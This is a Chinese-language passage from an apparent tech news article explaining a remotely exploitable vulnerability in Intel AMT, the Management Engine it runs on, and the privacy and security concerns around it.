• 第七代Core系列：11.6.27.3264

AMT是什么？

AMT是一款可通过设备的有线以太网接口网络端口16992访问的带外管理工具：它将系统的完全控制暴露到网络，允许IT人员和其它系统管理员远程重启、修复并轻微调整服务器和工作站。它能够提供一个虚拟串行控制台和（如果安装的是正确的驱动）远程桌面访问权限。

在获取权限之前应该要求提供密码，但是上述提到的漏洞意味着攻击者能够入侵硬件的控制面板。即使已经为系统的AMT访问权限设置了防火墙，但在用户网络上的攻击者或恶意软件仍然能够利用这个漏洞进入AMT管理的工作站和服务器并进一步攻陷企业。

AMT是一款运行在因特尔管理引擎（ME）上的软件，它是一种被因特尔以各种方式在十多年嵌入其芯片集中的技术。它从本质上讲是计算机中的第二个计算机，能够完全访问网络、周边、内存、存储和处理器。有意思的是，这个引擎是ARC CPU core驱动的，后者有16位和32位混合架构而且跟用于Super Nintendo游戏如Star Fox 的Super FX芯片紧密相关。

因特尔ME的详情在过去几年中也有被欺骗的案例。Arc core运行在来自SPI闪存的ThreadX RTOS。它能直接访问以太网控制器。目前它被内置在Platform Controller Hub中，后者是一个因特尔迷你芯片，包含多种硬件控制器并跟母板上的主要处理器连接在一起。

ME是因特尔不愿谈论过多的黑匣子，尽管Chipzilla网站上对此由部分介绍。它会让人们担忧隐私和安全：没有人很透彻地了解这个引擎到底是干什么的，是否被真正禁用了。

在一些因特尔芯片家族中，可通过擦除母板闪存的部分内容来杀死ME。

多年来，工程师和信息安全专家都在告警称，由于所有的代码都存在漏洞，因特尔AMT软件中至少存在一个可被远程利用的漏洞，而ME正在运行它，因此必须找到一种解决方案：买一台根本没有AMT的芯片集，而不是仅仅禁用或断开连接。

找到这个漏洞就像是从微软Windows或Red Hat企业版Linux中找到一个硬连线的、无法删除的、且远程可访问的管理员账户，而用户名和密码是“hackme”。除了这个因特尔缺陷存在于芯片集中、用户无法处理之外，必须等待计算机厂商推出补丁。